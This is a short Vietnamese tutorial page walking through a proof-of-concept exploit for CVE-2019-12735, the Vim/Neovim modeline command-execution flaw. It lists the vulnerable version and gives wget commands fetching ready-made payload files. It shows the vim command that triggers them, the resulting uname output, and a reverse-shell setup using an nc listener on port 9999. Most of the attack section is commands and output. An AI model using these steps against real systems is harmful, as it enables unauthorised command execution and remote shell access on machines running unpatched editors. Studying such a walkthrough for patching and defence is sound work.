Tutorial-5122023

CVE-2019-12735

Exploit PoC: Linux command execution on Vim/Neovim vulnerability (CVE-2019–12735)

Vim ở phiên bản trước 8.1.1365 và Neevim trước phiên bản 0.3.6 dễ thực thi code execution thông qua modelines bằng cách mở các file text đặt biệt được tạo ra.

Môi trường:

vim 7.4

[root@sky ~]# vim --version 
VIM - Vi IMproved 7.4 (2013 Aug 10, compiled Oct 30 2018 19:56:57)
Included patches: 1-160, 399, 402-403, 1099
Modified by <[email protected]>
Compiled by <[email protected]>

Thực hiện

  • POC1: Thực hiện uname -a khi sử dụng vim somthing_file
    • Tạo ra một file có nội dung sauwget https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/poc.txtThực hiện POC
    vim -c ":so! poc.txt"
    • Kết quả
    [root@sky ~]# vim -c ":so! poc.txt" Linux sky 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux Press ENTER or type command to continue
  • POC2: Thực hiện reverse shell
    • Tạo ra một file có nội dung như sauwget https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/shell.txt
    • Tham khảo thêm về kỹ thuật reverse shell tại đâyqeku364 1
    • Chia 2 cửa số terminal
      • terminal 1: Thực hiện nc -lvp 9999
      • terminal 2: Thực hiên vim -c ":so! /root/shell.txt"
    • Kết quả:
      • Trước khi thực hiện lệnh vimdhba4mf 1
      • Sau khi thực hiện lệnh vimwcipjtz 1

Tài liệu tham khảo

  • https://github.com/numirias/security

Add Comment

Click here to post a comment